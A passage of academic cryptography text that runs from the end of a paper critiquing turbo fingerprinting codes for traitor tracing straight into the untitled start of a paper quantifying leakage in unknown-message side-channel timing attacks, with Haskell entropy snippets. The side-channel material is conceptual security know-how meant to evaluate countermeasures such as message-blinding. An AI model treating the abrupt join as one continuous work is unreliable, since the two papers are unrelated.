own identification fingerprint. In the fingerprinting environments the common
attack is the collusion attack, that is, some users compare their marked objects
and produce, according to the Marking Assumption defined in Definition 5, a
pirate object which contains a false fingerprint that lies in Γ (C). The general
schema for two traitors is shown in Figure 2.

The aim of this kind of systems is to find, at least, one user who is part of
the coalition. So the authors present Algorithm 3 to accomplish this purpose.
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Fig. 2. Turbo fingerprinting scheme for 2 traitors

The main idea of the decoding algorithm is to decode the Boneh-Shaw layer and
to choose one of the symbols retrieved by this layer for this position i as the
input symbol to the turbo decoder for this position i. Note that, if the Boneh-
Shaw code was error-free, then for each position, the turbo decoder could choose
among more than one symbol, depending on the symbols of the traitors in this
position. The proposal of Zhang et al. was to choose one at random. A formal
definition is shown by the following algorithm:

Algorithm 3. Ψ(L, N, n, d) decoding algorithm defined in [7]:
Given x ∈ {0, 1}l, find a subset of the coalition that produced x.

1. Apply algorithm 2 to each of the L components of x.
For each component i = 1, 2, · · · , L, arbitrarily choose one of the outputs of
algorithm 2.
Set vj to be this chosen output.
Form the word v = v1v2 · · · vL

2. m(uj) = Turbo−Decoding(v)
3. Output “User ui is guilty”

6 A New Critical Performance Analysis

To state the performance of turbo fingerprinting codes, the authors in [7] enun-
ciate the following theorem:
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Theorem 3. [7] Given integers N , c and ε > 0, set

n = 2c

d = 2n2(log(2n) + m)

m = log

(
N∑

de=dmin

Ade

ε

)
where Ade is the number of codewords with weight de. Then the fingerprinting
scheme Ψ(L, N, n, d) is c-secure with ε-error. The code contains N codewords
and has length Ld(n − 1). Let x be a word which was produced by a coalition C
of at most c users. Then algorithm 3 will output a member of C with probability
at least 1 − ε.

The authors in [7] prove theorem 3, assuming the well known expression for the
error probability Pe of turbo decoders in BSC channels (for detailed references
concerning error probability of turbo decoders in BSC channels see [15,16]).
In the present scenario the channel, from the turbo codes point of view, is a
Boneh-Shaw code with error probability ε′. In [7], the authors express the turbo
coded error probability as a function of the Boneh-Shaw code error probability.
Denoting by Pe, the error probability of turbo codes in a BSC, the expression is

Pe ≤
N∑

de=dmin

AdeP2(de) (1)

where Ade is the number of codewords with weight de and P2(de) is the error
probability between two codewords. Let the decoding error probability of code
Γ0 be ε′. The authors assume that the error probability between two codewords
is smaller than the error probability of code Γ0. So, from the authors’ point of
view

Pe ≤
N∑

de=dmin

AdeP2(de) ≤
N∑

de=dmin

Adeε
′ (2)

We now show that this is not in many cases correct.
Suppose a turbo fingerprinting code consists of an (n, k)-turbo code concate-

nated with a Boneh-Shaw code with negligible error probability ε. Moreover
assume that two traitors attack this scheme by a collusion attack according to
definition 5.

In the decoding process, the Boneh-Shaw decoder retrieves, for each position, 2
symbols with probability 2n−1

2n and only 1 symbol otherwise (here we suppose, as
an approximation, that in a collusion of 2 users a position can not be detected
with probability 1

2n . So 1
2n is the probability that the symbol in a particular

position will be the same for 2 codewords). The scheme proposed by Zhang et
al. takes one of them at random and sends it to the turbo decoder.

As n increases, 2n−1
2n tends to 1, that is, the probability that the traitors, say

tc1 and tc2, have the same symbol in a particular position tends to 0. So the
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Hamming distances between tc1 or tc2 and the pirated word, say tcp, delivered
to the turbo decoder satisfy the equation dH(tc1, tcp) # dH(tc2, tcp). If L is the
length of the codeword and n is large enough, the turbo decoder takes as input a
word in which half of the symbols are erroneous respect both of the two traitor
codewords. And, as a result, the turbo decoder retrieves a codeword of the turbo
code codebook, but this codeword is not assigned to any user. Note that in this
case, the decoded codeword will be different from the pirate words with a very
high probability, which is not desirable at all. In this case there cannot be a false
positives because, the turbo encoded words are a random sequence (like hash
functions) and the collision probability for these functions is very small.

As an example suppose a (3, 1)-turbo code that consists of two component
convolutional codes. The connection expressed in octal is (3, 1). The traitors
have the sequences

t1 = 1 1 0 0 0 1 0 0 1 0,

t2 = 0 0 0 0 1 1 1 0 0 0.

The sequences t1 and t2 are turbo coded to generate

tc1 = Turbo− Encoding(t1) = 100 110 000 001 001 101 011 010 110 001 000 000,

tc2 = Turbo− Encoding(t2) = 000 000 000 001 100 111 101 011 011 011 111 100.

These turbo coded sequences may be expressed in octal notation as:

tc1 = Turbo− Encoding(t1) = 4 6 0 1 1 5 3 2 6 1 0 0

tc2 = Turbo− Encoding(t2) = 0 0 0 1 4 7 5 3 3 3 7 4

The Feasible Set will be

Γ (tc1, tc2) =
({

4
0

}{
6
0

}
, 0, 1,

{
1
4

}
,

{
5
7

}
,

{
3
5

}
,

{
2
3

}
,

{
6
3

}
,

{
1
3

}
,

{
0
7

}
,

{
0
4

})
.

After decoding the Boneh-Shaw code, if no errors are produced, a possible se-
quence sent to the turbo decoder is

tcp = 000 110 000 001 001 101 101 011 011 001 111 000,

or in octal,
tcp = 0 6 0 1 1 5 5 3 3 1 7 0.

After turbo decoding, the word obtained is

tp = 1 1 0 0 0 0 1 0 0 0,

which is none of the traitors’ codewords, dH(t1, tp) = 3 and dH(t2, tp) = 4.
That is, this construction cannot be a correct fingerprinting scheme because the
system cannot trace back t1 or t2 from tcp.
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7 Proposed Improvements and Open Problems

One of the most important improvements that the turbo codes have contributed
to error correcting codes is the use of the likelihood of every information bit
during the decoding process. The proposed improvements in this section are
based on the use of this information in two different ways. The first one, uses
the information provided by the fingerprinting layer to calculate the likelihood
for each information bit at the first turbo decoding iteration. On the other hand,
the second proposal is centered in the fact that the cross-correlation between the
likelihood of the decoded bits and all possible words (users) reaches the maximum
value when the evaluated user has taken part in the collusion attack, i.e. is guilty.

7.1 Decoding by the Use of Likelihood Information in Undetected
Coefficients

There exist some techniques, as concatenating a turbo codes with a Boneh-
Shaw code or the ones proposed in [17], that can be used to detect, at the turbo
decoder input, if a particular bit has been modified by a collusion attack. As it is
also well-know, each constituent decoder in a turbo decoder uses the likelihood
information of every information bit externalized by the other but this likelihood
is not known at the first iteration by the first constituent decoder. The usual
solution is to consider that all values are equally likely, that is to say, the value of
L

(2)
e for all bits in the first iteration is initialized to 0 (take into account that Le

is the Log-likelihood ratio). The first improvement is to modify the value of Le

taking into account the information of the Boneh-Shaw layer. The main idea is,
as the undetected bits by the traitors during the collusion attack are known, the
decoder can assign a greater likelihood to these bits in the first decoding stage.
After few simulations, it can be concluded that a little improvement around 2%
appears if the initial value of Le is slightly modified by the use of this previous
information. Note that, when an error is produced during the decoding process,
the returned word identifies one legal user which has not taken part in the
collusion, that is a false positive. In other words, in this situation the decoding
process frames an innocent user. In a correct TFC system, a bit error probability
around 0 is needed. If the value of Le value is highly altered, the effect can be
counterproductive because, in this case, the turbo decoder does not converge
correctly. This is shown in figure 7.1.

Even though this improvement has been applied to TFC, it is not sufficient
to guarantee that the probability of finding one of the traitors will be small
enough. It seems that the error probability has been a slight improvement and
it can be reduced near to 0 by the use of some block error correcting code as
BCH. The figures 4(a), 4(b) and 4(c) show the results of the use of a (15,11)
Hamming code, a BCH(127,64) and a BCH(127,22) respectively, concatenated
with a turbo code decoded taking into account the likelihood information.

Some open problems are how to modify the channel characteristic, in turbo
code notation that is the value of Lc, taking into account the positions not
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Fig. 3. Bit probability error of a TFC with generator sequences constituent RSC
(53, 75)8 over collusion attack decoded using likelihood information

detected by the attackers and the study of the relation between the RSC gen-
erator sequences and the likelihood value to assign to each bit at first decoding
stage.

7.2 Decoding by the Use of Making Correlation Conditional on
Likelihood

The decoding algorithm proposed in the original paper of TFC was the commonly
used to decode turbo codes. The main problem was that the turbo decoder
returns the most likely codeword over all the code space; that is, if a user ID of
512 bits is used, the turbo decoder will return the word of 512 bits that is the
most likely to have been sent. This means that with a very high probability an
innocent user has been framed. This is the main reason of the problems produced
in the decoding stage of TFC.

In practice, it is very difficult to think about an application in which 2512 users
are needed. For instance, Figure 5 shows the results of a 1000 iterations simulation
of one system which uses a TFC with user ID of 128 bits but the system has only
1000 users whose user IDs are randomly distributed in the codes pace. In each iter-
ation two different users are chosen randomly and a collusion attack is performed
with their code words. Next, this colluded codeword is decoded by the turbo de-
coder in order to obtain one of the traitors. None of them have been found by the
use of the original TFC decoding system or, as is named in the figure, TFC with-
out correlation. If the word which results from the TFC original decoding system
is correlated with all possible user IDs, we will always find at least one of the trai-
tors and, more than 90 percent of the times, the two traitors will be found. If the
likelihood information is used instead of the pirate word, the probability of finding
the two traitors comes close to 100 percent. In other words, the user IDs that have
the maximum correlation value with the likelihood returned by the turbo decoder
are the user IDs of the members of the collusion.
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(a) TFC with generator sequences con-
stituent RSC (53, 75)8

(b) TFC with generator sequences con-
stituent RSC (117, 155)8

Fig. 5. % of detecting 0, 1 or 2 traitors after a collusion attack of 2 traitors by the use
of TFC with correlation decoding

The main drawback of this proposal is that the decoding time increases ex-
ponentially with the number of users.

8 Conclusions

The work presented in this paper discusses an undesired problem in the analysis
of the turbo fingerprinting codes presented by Zhang et al. in [7]. We show that
the probability of tracing one of the traitors tends to 0 when the alphabet size of
the outer turbo code increases. That is because the symbol-by-symbol collusion
attack performed by pirates is not treated efficiently by the decoding algorithm
proposed in [7]. Note that, from the point of view of the turbo decoder, the
error probability of the equivalent channel tends to 1/2, because it takes as
input symbols one of the symbols retrieved by the Boneh-Shaw decoder chosen
at random.

The new problem found in the turbo fingerprinting codes renders them inap-
plicable in many cases unless the design takes into account our new contribution.
Moreover, our studies indicate that, the more efficient the turbo fingerprinting
code design is, from the point of view of the length requirement, a far worse per-
formance is obtained from the tracing algorithm. In other words, to find a traitor
will be more complicated when the (n, k)-turbo code used, has large values of n.

Besides, two different ways to improve the performance of turbo fingerprinting
codes are given. These two ways use the likelihood of the turbo decoder to
perform the improvements. The first proposal modifies this likelihood at the
input of the turbo decoder and the other use the turbo decoder output likelihood
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to correlate it with the user IDs in order to find the traitors. Moreover, this two
improvements can be integrated in the same scheme.
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Abstract. We propose a novel approach for quantifying a system’s resis-
tance to unknown-message side-channel attacks. The approach is based
on a measure of the secret information that an attacker can extract from
a system from a given number of side-channel measurements. We provide
an algorithm to compute this measure, and we use it to analyze the re-
sistance of hardware implementations of cryptographic algorithms with
respect to timing attacks. In particular, we show that message-blinding
– the common countermeasure against timing attacks – reduces the rate
at which information about the secret is leaked, but that the complete
information is still eventually revealed. Finally, we compare informa-
tion measures corresponding to unknown-message, known-message, and
chosen-message attackers and show that they form a strict hierarchy.

1 Introduction

Side-channel attacks against cryptographic algorithms aim at breaking cryptog-
raphy by exploiting information that is revealed by the algorithm’s physical ex-
ecution. Characteristics such as running time [12,4,22], power consumption [13],
and electromagnetic radiation [11,24] have all been exploited to recover secret
keys from implementations of different cryptographic algorithms. Side-channel
attacks are now so effective that they pose a real threat to the security of devices
when their physical characteristics can be measured. This threat is not covered
by traditional notions of cryptographic security; however, there is a line of re-
search that investigates alternative models for reasoning about the resistance to
such attacks [6,21,27,14].

Two quantities determine the effort to successfully mount a side-channel at-
tack and recover a secret key from a given system. The first is the computational
power needed to recover the key from the information that is revealed through
the side-channel. The second is the number of measurements needed to gather
sufficient side-channel information for this task. To prove that a system is re-
sistant to side-channel attacks, one must ensure that the overall effort for a
successful attack is out of the range of realistic attackers.

The attacker’s computational power is typically not the limiting factor in
practice, as many documented attacks show [4,7,13,22]. Hence, the security of
a system often entirely depends on the amount of secret information that an
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attacker can gather in his side-channel measurements. Note that the number
of measurements may be bounded – for example, by the number of times the
system re-uses a session key – and must be considered when reasoning about a
system’s vulnerability to side-channel attacks.

A model to express the revealed information as a function of the number of
side-channel measurements has recently been proposed, and it has been applied
to characterize the resistance of cryptographic algorithms against side-channel
attacks [14]. The model captures attackers that can interact with the system by
adaptively choosing the messages that the system decrypts (or encrypts).

However, many attack scenarios only allow for unknown-message attacks,
where the attacker cannot see or control the input that is decrypted (or en-
crypted) by the system. One type of unknown-message attack is timing attacks
against systems that are run with state-of-the-art countermeasures such as mes-
sage blinding. Quantifying the information that a side-channel reveals in such
an attack was an open problem prior to this work.

1.1 Our Contributions

We propose a novel measure for quantifying the resistance of systems against
unknown-message side-channel attacks. This measure Λ captures the quantity
of secret information that a system reveals as a function of the number of side-
channel measurements. Moreover, we provide an explicit formula for Λ when
the number of measurements tends to infinity, corresponding to the maximum
amount of secret information that is eventually leaked.

In order to apply our measure to realistic settings, we provide algorithms
for computing Λ for finite and infinite numbers of measurements, respectively.
We subsequently use these algorithms to formally analyze the resistance of a
nontrivial hardware implementation to side-channel attacks: we show that a
finite-field exponentiation algorithm as used in, e.g., the generalized ElGamal
decryption algorithm, falls prey to unknown-message timing attacks in that the
key is fully determined by a sufficiently large numbers of measurements.

We use this result to analyze message-blinding, which aims at protecting
against timing attacks by decoupling the running time of the algorithm from
the secret. We show that, for the analyzed exponentiation algorithm, message-
blinding only reduces the rate at which information about the secret is revealed,
and that the entire key information is still eventually leaked. This yields the first
formal assessment of the (un-)suitability of message-blinding to counter timing
attacks.

We conclude by putting our measure Λ into perspective with information
measures for different kinds of attacker interactions. The result is a formal hier-
archy of side-channel attackers that is ordered in terms of the information they
can extract from a system. We distinguish unknown-message attacks, in which
the attacker does not even know the messages (as in timing attacks against
implementations with message blinding), known-message attacks, in which the
attacker knows but cannot influence the messages, and chosen-message attacks,
in which the attacker can adaptively choose the messages (as is typically the
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case in timing attacks against unprotected implementations). As expected, more
comprehensive attackers are capable of extracting more information in a given
number of measurements. Moreover, we show that this inclusion is strict for cer-
tain side-channels. Clarifying the different attack scenarios will provide guidance
on which measure to pick for a particular application scenario.

1.2 Outline

The paper is structured as follows. In Section 2, we introduce our models of side-
channels and attackers and we review basics of information theory. In Section 3,
we present measures for quantifying the information leakage in unknown-message
attacks. In Section 4, we show how these measures can be computed for given
implementations. We report on experimental results in Section 5 and compare
different kinds of side-channel attacks in Section 6. We discuss related work in
Section 7 and conclude in Section 8.

2 Preliminaries

We start by describing our models of side-channels and attackers, and we briefly
recall some basic information theory.

2.1 Modeling Side-Channels and Attackers

Let K be a finite set of keys, M be a finite set of messages and D be an arbitrary
set. We consider systems that compute functions of type F : K × M → D,
and we assume that the attacker can make physical observations about F ’s
implementation IF that are associated with the computation of F (k, m). We
assume that the attacker can make one observation per invocation of the function
F and that no measurement errors occur. Examples of such observations are the
power or the time consumption of IF during the computation (see [13,20] and
[12,4,22], respectively).

Formally, a side-channel is a function fIF : K × M → O, where O denotes
the set of possible observations. We assume that the attacker has full knowledge
about the implementation IF , i.e., fIF is known to the attacker. We will usually
leave IF implicit and abbreviate fIF by f .

Example 1. Suppose that F is implemented in synchronous (clocked) hardware
and that the attacker is able to determine IF ’s running times up to single clock
ticks. Then the timing side-channel of IF can be modeled as a function f : K ×
M → N that represents the number of clock ticks consumed by an invocation of
F . A hardware simulation environment can be used to compute f .

Example 2. Suppose F is given in a description language for synchronous
hardware. Power estimation techniques can be used to determine a function
f : K ×M → R

n that estimates an implementation’s power consumption during
n points in time (see, e.g., [17] and Section 5.3).
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In a side-channel attack, a malicious agent gathers side-channel observations
f(k, m1), . . . , f(k, mn) for deducing k or narrowing down its possible values.
Depending on the attack scenario, the attacker might additionally be able to see
or choose the messages mi ∈ M : an attack is unknown-message if the attacker
cannot observe mi ∈ M ; an attack is known-message if the attacker can observe
but cannot influence the choice of mi ∈ M ; an attack is chosen-message if the
attacker can choose mi ∈ M .

In this paper, we focus on the open problem of giving bounds on the side-
channel leakage in unknown-message attacks. In Section 6, we will come back to
the distinction between different attack types and formally compare them with
respect to the quantity of information that they can extract from a system.

2.2 Information Theory Basics

Let A be a finite set and p : A → R a probability distribution. For a random
variable X : A → X , we define pX : X → R as pX (x) =

∑
a∈X−1(x) p(a), which

is often denoted by p(X = x) in the literature.
The (Shannon) entropy of a random variable X : A → X is defined as

H(X ) = −
∑
x∈X

pX (x) log2 pX (x) .

The entropy is a lower bound for the average code length of any binary en-
coding scheme for X . An encoding scheme can be seen as a strategy in which
each bit corresponds to a binary test that narrows down the set of the remaining
candidate values. Thus, in terms of guessing, the entropy H(X ) is a lower bound
for the average number of binary questions that need to be asked to determine
X ’s value [5]. If Y : A → Y is another random variable, H(X|Y = y) denotes
the entropy of X given Y = y, i.e., with respect to the distribution pX|Y=y. The
conditional entropy H(X|Y) of X given Y is defined as the expected value of
H(X|Y = y) over all y ∈ Y , namely,

H(X|Y) =
∑
y∈Y

pY(y)H(X|Y = y) .

Entropy and conditional entropy are related by the equation H(XY) = H(Y) +
H(X|Y), where XY is the random variable defined as XY(k) = (X (k),Y(k)).
The mutual information I(X ;Y) of X and Y is defined as the reduction of
uncertainty about X if one learns Y, i.e., I(X ;Y) = H(X )−H(X|Y).

3 Information Leakage in Unknown-Message Attacks

In this section, we first propose a novel measure that expresses the information
gain of an unknown-message attacker as a function of the number of side-channel
observations made. Subsequently, we derive an explicit representation for the
limit of this information gain for an unbounded number of observations. This
representation provides a characterization of the secret information that the side-
channel eventually leaks. Moreover, it leads to a simple algorithm for computing
this information.
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3.1 Information Gain in n Observations

In the following, let pK : K → R and pM : M → R be probability distribu-
tions and let the random variables K = idK , M = idM model the random
choice of keys and messages, respectively; we assume that pM and pK are
known to the attacker. For n ∈ N , let On : K × Mn → On be defined by
On(k, m1, . . . , mn) = (f(k, m1), . . . , f(k, mn)), where pKMn(k, m1, . . . , mn) =
pK(k)pM (m1) . . . pM (mn) is the probability distribution on K × Mn. The vari-
able On captures that k remains fixed over all invocations of f , while the mes-
sages m1, . . . , mn are chosen independently.

An unknown-message attacker making n side-channel observations On may
learn information about the value of K, i.e., about the secret key. This infor-
mation can be expressed as the reduction in uncertainty about the value of K,
i.e., I(K; On) = H(K) − H(K|On). An alternative is to use the attacker’s re-
maining uncertainty about the key H(K|On) as a measure for quantifying the
system’s resistance to an attack. Focusing on H(K|On) has the advantage of a
precise interpretation in terms of guessing: it is a lower bound on the average
number of binary questions that the attacker still needs to ask to determine K’s
value [5].

Definition 1. We define Λ(n) = H(K|On) as the resistance to unknown-
message attacks of n steps.

Two measures that are closely related to Λ have been proposed in [8] and [27].
The measure from [8] captures only single measurements, i.e., it corresponds
to Λ(1). The information-theoretic metric from [27] captures multiple measure-
ments, but with respect to stronger, chosen-message adversaries.

The function Λ is monotonically decreasing, i.e., more observations can only
reduce the attacker’s uncertainty about the key. If Λ(n) = H(K), the first
n side-channel observations contain no information about the key. Clearly,
Λ(0) = H(K). If Λ(n) = 0, the key is completely determined by n side-channel
observations.

Since Λ(n) is defined as the expected value of H(K|On = o) over all o ∈ On,
it expresses whether keys are, on the average, hard to determine after n side-
channel observations. It is straightforward to adapt the resistance to accom-
modate worst-case guarantees [14] or to use alternative notions of entropy that
correspond to different kinds of guessing [5]. For example, by using the guessing
entropy instead of the Shannon entropy, one can express the remaining uncer-
tainty about the key in terms of the average number of questions of the kind
“does K = k hold” that must be asked to guess K’s value correctly [18].

In Section 4, we will give an algorithm for computing the resistance Λ(n) to
unknown-message attacks. The time complexity of this algorithm is, however,
exponential in n, rendering computation for large values of n infeasible. To rem-
edy this problem, we will now establish an explicit formula for limn→∞ Λ(n),
which will allow us to compute limits for the resistance without being faced
with the exponential increase in n.
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3.2 Bounds for Unlimited Observations

The core idea for computing the limit of Λ can be described as follows: for a large
number o1, . . . , on of side-channel observations and a fixed key k, the relative
frequency of each o ∈ O converges to the probability pO|K=k(o). Thus, making
an unbounded number of observations corresponds to learning the distribution
pO|K=k. We next give a formal account of this idea.1

Define k1 ≡ k2 if and only if pO|K=k1 = pO|K=k2. Then ≡ constitutes an
equivalence relation on K, and K/≡ denotes the set of equivalence classes. The
random variable V : K → K/≡ defined by V(k) = [k]≡ maps every key to its ≡-
equivalence class. Knowledge of the value of V hence corresponds to knowledge
of the distribution pO|K=k associated with k. Intuitively, an unbounded number
of observations contains as much information about the key as the key’s ≡-
equivalence class. This is formalized by the following theorem.

Theorem 1. Let K, V and On be defined as above. Then

lim
n→∞

H(K|On) = H(K|V) . (1)

The proof of Theorem 1 can be found in the full version of this paper
[1]. A straightforward calculation shows that, for uniformly distributed keys,
H(K|V) = 1

|K|
∑

B∈K/≡
|B| log2 |B|. Consequently, Theorem 1 enables us to

compute limn→∞ H(K|On) from the sizes of the ≡-equivalence classes. This is
illustrated by the following example.

Example 3. Let n ∈ N, K = {0, 1}n, M = {1, . . . , n}, and O = {0, 1}. Consider
the function f : K × M → O defined by f(k, m) = km, where k = (k1, . . . , kn).
Theorem 1 implies that H(K|V) captures the information about k that f even-
tually leaks to an unknown-message attacker. For computing H(K|V), observe
that for k1, k2 ∈ K, pO|K=k1 = pO|K=k2 if and only if the number of 1-
bits in k1 and k2 is equal, i.e., if k1 and k2 have the same Hamming weight.
The number of n-bit values with Hamming weight h is given by

(
n
h

)
. Hence,

limn→∞ H(K|On) = 1
2n

∑n
h=0

(
n
h

)
log2

(
n
h

)
.

4 Computing the Resistance to Unknown-Message
Attacks

In this section, we show how Λ(n) and limn→∞ Λ(n) can be computed for given
implementations IF of cryptographic functions F . For this, we first need a rep-
resentation of the side-channel f = fIF ; second, we need to compute Λ from this
representation.
1 For probabilities, this is a consequence of the law of large numbers. We are not aware

of a corresponding result for the conditional entropy.
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4.1 Determining Time Consumption

We focus on implementations in synchronous (clocked) hardware and we assume
that the attacker can determine the system’s time consumption up to single
clock ticks. We use the hardware design environment Gezel [25] for describing
circuits and for building up value table representations of f . Here, the value
f(k, m) is the number of clock ticks consumed by the computation of F (k, m) and
can be determined by the simulation environment. Specifications in the Gezel

language can be mapped into a synthesizeable subset of Vhdl, an industrial-
strength hardware description language. The mapping preserves the circuit’s
timing behavior within the granularity of clock ticks. In this way, the guarantees
obtained by formal analysis translate to silicon implementations.

We next show how Λ(n) can be computed from the value table representation
of f .

4.2 Computing Λ(n)

For computing Λ(n) we first show how Λ(n) = H(K|On) can be decomposed into
a sum of terms of the form pO|K=k(o), with k ∈ K and o ∈ O. Subsequently, we
sketch how this decomposition can be used to derive a simple implementation
for computing Λ(n).

We have the following equalities

H(K|On) = −
∑

o∈On

pOn(o)
∑
k∈K

pK|On=o(k) log2 pK|On=o(k) (2)

pK|On=o(k) =
pOn|K=k(o)pK(k)

pOn(o)
(3)

pOn(o) =
∑
k∈K

pOn|K=k(o)pK(k) (4)

pOn|K=k(o1, . . . , on) =
n∏

i=1

pO|K=k(oi) , (5)

where (3) is Bayes’ formula and (5) holds because, for a fixed key, the obser-
vations are independent and identically distributed. Furthermore, for uniformly
distributed messages, pO|K=k(o) = |{m | f(k, m) = o)}|/|M |, which can be
computed using the value table representation of f given by Gezel.

The decomposition in (2)-(5) of H(K|On) into a combination of terms of
the form pO|K=k(o) and pK(k) for k ∈ K and o ∈ O can be expressed by list
comprehensions. This is illustrated by the following code snippet in Haskell [3].
Here, pO computes pOn(o) according to (4) and (5) from a list of observations
obs, a list representation keys of K, and an array p that stores the values
pO|K=k(o):

pO obs = sum [ product [ p!(o,k) | o <- obs ]| k <- keys ]
/ length keys
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The computation of Λ(n) according to (2) and (3) can be encoded in a similarly
concise way. We have implemented this in Haskell and use this implementation
to perform experiments in Section 5.

4.3 Computing limn→∞ Λ(n)

From Theorem 1 it follows that limn→∞ Λ(n) = H(K|V), where V(k) =
[k]≡ and k1 ≡ k2 if and only if pO|K=k1 = pO|K=k2 . We have H(K|V) =
1

|K|
∑

B∈K/≡ |B| log2 |B| for uniformly distributed keys. Hence, for computing
H(K|V) it suffices to determine the sizes of the ≡-equivalence classes.

The equivalence classes of an equivalence relation form a partition of the rela-
tion’s domain. We compute the partition of K corresponding to ≡ by refinement.
For this, consider the equivalence relations ≡o defined by k1 ≡o k2 if and only if
pO|K=k1(o) = pO|K=k2(o). Clearly, k1 ≡ k2 if and only if ∀o ∈ O.k1 ≡o k2.

For partitioning a set B ⊆ K with respect to ≡o, group together all k ∈ B
with the same value of pO|K=k(o). For refining a given partition P of K with
respect to ≡o, partition all B ∈ P according to ≡o. Finally, for computing the
partition corresponding to ≡, successively refine the partition {K} with respect
to all o ∈ O. The following Haskell program implements this idea:

partKeys keys obs = foldr refineBy [keys] obs
where refineBy o part = concat (map (splitBlockByObs o) part)

Here, the refinement of a block by an observation is accomplished by the function
splitBlockByObs. The function refineBy applies this procedure to every block
in a given partition. The function partKeys refines the partition [keys] by all
observations in the list obs.

Finally, we can compute H(K|V) = 1
|K|

∑
B∈K/≡ |B| log2 |B| from the parti-

tion part returned by partKeys:

entropy part = sum [ b * logBase 2 b | x <- bs ] / sum bs
where bs = map length part

We use this simple prototype implementation in our experiments below.

5 Experimental Results

We now report on a case study where we analyze the implementation of a circuit
for exponentiation in finite fields with respect to its resistance to timing attacks.
Finite-field exponentiation is relevant, for example, in the generalized ElGamal
encryption scheme [19]. Furthermore, we show how this result can be used for
evaluating state-of-the-art countermeasures to timing attacks.

5.1 Timing Analysis of a Finite-Field Exponentiation Algorithm

We have analyzed a Gezel implementation of the finite-field exponentiation al-
gorithm from [10]. It takes two arguments m and x and computes mx in F2w . The
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Fig. 1. Resistance of a finite-field exponentiation algorithm to unknown-message timing
attacks

exponentiation is performed by square-and-multiply, where each multiplication
corresponds to a multiplication of polynomials. The entire algorithm consists of
three nested loops.

Computing Λ(n) with the implementation presented in Section 4 is expen-
sive and does not scale to large values of n and operands of large bit-widths.
To overcome this problem, we use the following approximation technique: we
parameterize each algorithm by the bit-width w of its operands. Our working
assumption is that regularity in the values of Λ for w ∈ {2, . . . , wmax} reflects
the structural similarity of the algorithms. This permits the extrapolation to
values of w beyond wmax. To make this explicit, we will write Λw to denote that
Λ is computed on w-bit operands.

Results of the Analysis The results of our analysis are given in Figure 1. The bit-
width w of the operands is depicted along the horizontal axis and the entropy
is depicted along the vertical axis. The different curves represent Λw(n) for
n ∈ {0, 1, 2, 3,∞}.

We can draw the following conclusion from our data: the first timing obser-
vation reveals almost half of the secret information about the key. Subsequent
observations reduce the uncertainty at a significantly slower rate. In the long run,
however, the entire key information is leaked. Hence the circuit is vulnerable to
unknown-message timing attacks.

5.2 Implications for the Security of Message-blinding

Timing attacks typically rely on the fact that the attacker can choose the input
m ∈ M and can measure the corresponding running time. Message-blinding,
the state-of-the art countermeasure against timing attacks, renders this type of
attack impractical by decoupling the algorithm’s running time from m. Message-
blinding has been proposed for exponentiation modulo n [12], but it can directly
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Fig. 2. Resistance of a finite-field exponentiation algorithm to chosen-message timing
attacks

be applied to exponentiation in the field F2w . We illustrate message-blinding for
the common case of RSA.

Example 4. Consider an RSA decryption x = mk mod n, where m is chosen
by the attacker, x the plaintext, n the modulus and k the secret key. Message-
blinding decouples the running time of the exponentiation from m: in the blinding
phase one computes m · re mod n, where r is random and relatively prime to n,
and e is the public key. The result of the decryption is (m · re)k = x · r mod n,
which yields x after unblinding, i.e., after multiplication with r−1 mod n.

The belief that message-blinding is secure is based on the assumption that the
blinding and unblinding steps do not introduce new side-channels, and that
m · re is sufficiently random. Analyzing the resistance of an exponentiation
algorithm with respect to unknown-message attackers and uniformly distrib-
uted messages thus corresponds to analyzing the implementation with idealized
message-blinding and with respect to chosen-message attacker.

This correspondence enables us to use Λ for evaluating the quality of message-
blinding as a countermeasure for timing attacks against the finite-field exponen-
tiation circuit from Section 5.1. Figure 2 is based on data from [14] and depicts
the resistance of the same exponentiation algorithm with respect to chosen-
message attacks. Here, Φw(n) denotes the remaining uncertainty after n steps
of a chosen-message attack. The value Λw(n) − Φw(n), i.e., the difference be-
tween the curves in Figures 1 and 2, gives a formal account of what is gained
by applying message-blinding as a countermeasure, namely that the information
is leaked at a significantly slower rate. Figure 1 shows that limn→∞ Λ(n) = 0.
This implies that, even with message-blinding applied, the timing side-channel
eventually leaks the entire key information. To our knowledge, this is the first
formal analysis of a countermeasure against timing attacks.
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5.3 On Formal Bounds for Power Analysis Attacks

Our measure Λ can also be applied to analyze the resistance of systems to power
analysis attacks. As a proof of concept, we have applied our model to compute the
resistance of a hardware implementation of an AES SBox with respect to power
analysis attacks. The results can be found in the full version of this paper [1].

However, the formal bounds derived for power analysis attacks have to be
carefully translated to real-world situations. First, power models typically ab-
stract from certain electrical effects [17] so that formal bounds derived using
such models (including ours) do not take into account attackers that exploit
these elided effects. Second, in many attack scenarios, the attacker can observe
the device’s power consumption as a function of time. This function is typically
approximated by the vector of the power measurements at n fixed time instants.
In our model, such an approximation can be captured by a side-channel of type
f : K × M → R

n. Bounds derived from this approximation do not take into
account attackers that measure the power consumption at other points in time.

6 A Hierarchy of Side-Channel Attackers

In this section, we formally relate unknown-message, known-message and chosen-
message attackers with respect to the information that they can extract from a
given side-channel f : K × M → O. The main purpose of this comparison is a
unified presentation that simplifies the task of picking the appropriate measure
for a given attack scenario.

The result of the comparison is as expected: chosen-message attackers are
stronger than known-message attackers, which are stronger than unknown-
message attackers. All inclusions are shown to be strict. Before we formally
state and prove this result, we begin with definitions of the resistance to known-
message and chosen-message attacks.

6.1 Known-Message and Chosen-Message Attacks:

We define the resistance to known-message attacks along the lines of Definition
1, where we express that the attacker knows the messages by conditioning the
entropy of K on Mn. Here, Mn models the n independent choices of messages
from M .

Definition 2. We define ∆(n) = H(K|OnMn) as the resistance to known-
message attacks of n steps.

Note that ∆ is an average-case measure, as H(K|OnMn) is the expected re-
maining uncertainty about K if the values of On and Mn are known. It can be
adapted to accommodate worst-case guarantees by replacing the expected value
by the minimal value over all n-tuples of messages or observations.

A measure for the resistance to chosen-message attacks has been defined in
[14]. We next give a short account of this definition. A chosen-message attack is
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formalized as a tree whose nodes are labeled with subsets of K. In this tree, an
attack step is represented by a node v together with its children. The label A of v
is the set of keys that could have led to the attacker’s previous observations. The
labels of the children of v form a partition of A. We require that this partition is
of the form {A∩ f−1

m (o) | o ∈ O} for some m ∈ M , where fm(k) = f(k, m). This
corresponds to the attacker’s choice of a query m. By observing o, the attacker
can narrow down the set of possible keys from A to A′ = f−1

m (o) ∩ A. The child
of v with label A′ is the starting point for subsequent attack steps.

Definition 3 ([14]). An attack strategy against f is a triple (T, r, L), where
T = (V, E) is a tree, r ∈ V is the root, and L : V → 2K is a node labeling with
the following properties:

1. L(r) = K, and
